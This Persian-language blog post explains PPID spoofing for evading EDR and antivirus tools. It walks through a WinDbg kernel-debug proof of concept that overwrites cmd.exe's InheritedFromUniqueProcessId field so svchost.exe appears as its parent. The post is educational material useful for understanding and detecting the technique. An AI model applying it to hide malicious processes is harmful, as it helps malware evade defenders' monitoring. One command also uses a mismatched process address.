PPID Spoofing Technique Overview
Mahdi Hasanzadeh AKA.P4RAD0Xتوی این پست قراره درباره یکی از تکنیک های پر استفاده در بدافزار ها که برای دور زدن مکانیزم های امنیتی مثل EDR و AV ها پیاده سازی میشه صحبت کنیم. همیشه یکی از دغدغه های افرادی در فاز توسعه بدافزار فعالیت دارن اینه که artifact نهایی در ناشناس ترین حالت خودش در سیستم هدف بمونه و به عنوان یه پردازش سیستمی شناخته بشه. این رویه میتونه از طریق تکنیک های مختلف injection یا hijacking صورت بگیره اما بازهم یکی از شاخصه های شکار پردازش های مخرب اینه که به پردازشی که اونو ایجاد کرده رجوع کنن. به عبارتی اگر فایل X توسط پردازش Y ایجاد یا اجرا شده باشه , میگیم Parent یا والد X میشه پزدازش Y .
توی سیستم عامل ویندوز اجرای اجزای مختلفش در حالت درختی صورت میگیره. یعنی از ابتدای بوت شدن سیستم اولین پردازش تحت عنوان system با PID 4 میاد کرنل سیستم عامل و بسیار از درایور های حیاتی رو لود میکنه و سپس سرویس های سیستمی از طریق svchost.exe اجرا و لود میشن و این پروسه به همین شکل ادامه پیدا میکنه.
حالا با دونستن این موارد برسیم سراغ اینکه اصلا تکنیک Parent Process ID spoofing چیه ؟ به زبان خیلی ساده بداافزار میاد از طریق دسترسی بالاتر یا آسیب پذیری سطح کرنل خودشو Child یه پردازش سیستمی مثل svchost.exe میکنه دراین حالت حتی اگر سولوشن های امنیتی بتونن رفتار مشکوک رو تشخیص بدن به این نتیجه میرسن که مرجع نهایی یه پردازش سیستمی قانونی هست و این رفتار مستقیم به بدافزار اشره نمیکنه !
در ادامه بریم برای یه POC و پیاده سازی اون در سیستم از طریق kernel Debugging با Windbg :
اول میایم و اطلاعات مربوط به پردازشی که میخوایم عضو زیرمجموعه یه پردازش دیگه کنیم رو پیدا میکنیم ... توی این سناریو من یه cmd ساده رو اسپاون کردم :
lkd> !process 0 0 cmd.exe
PROCESS ffffd40fe4729080
SessionId: 1 Cid: 0be4 Peb: 3a0b9ad000 ParentCid:
1120DirBase: 7de4f002 ObjectTable:ffffbe011ed4a6c0 HandleCount: 68.
Image: cmd.exe
حالا با دونستن آدرس پردازش توی حافظه نیازه که Structure یا ساختار _EPROCESS سمت کرنل رو بررسی کنیم و offset که مربوط InheritedFromUniqueProcessId هست رو پیدا کنیم با زدن این دستور میتونیم به این بخش برسیم :
lkd> dt ffffd40fe5416080 nt!_eprocess InheritedFromUniqueProcessId
+0x540 InheritedFromUniqueProcessId : (null)
حالا با دوستن دقیق offset بخش PPID میریم سراغ پردازش هدف که میخوایم cmd فعلی عضو اون بشه :
lkd> !process 998 0 Searching for Process with Cid == 998 PROCESS ffffd40fe3b69080 SessionId: 0 Cid: 0998 Peb: 6fe42e4000 ParentCid: 028c DirBase: a2ca5002 ObjectTable: ffffbe0111840040 HandleCount: 507. Image: svchost.exe
بعد از اینکه ادرس CID رو پیدا کردیم میایم و Parent پردازش قبلی رو با همین آفست ویرایش میکنیم :
lkd> ed ffffd40fe4729080 + 0x540 0x00000000`00000998
بعد از انجام این کار و رفرش کردم Process Explorer میبینیم که Parent پردازش فعلی ما تغییر کرده :
Parent: svchost.exe(2456) User: DESKTOP-2GQHH31\dummy Started: 4:48:52 AM 9/13/2026 Image: 64-bit
این تکنیک هنوز هم یکی از کاربردی ترین روش ها برای دور زدن ابزار های دفاعی هست و همچنان در بسیاری از بدافزار ها پیاده سازی میشه !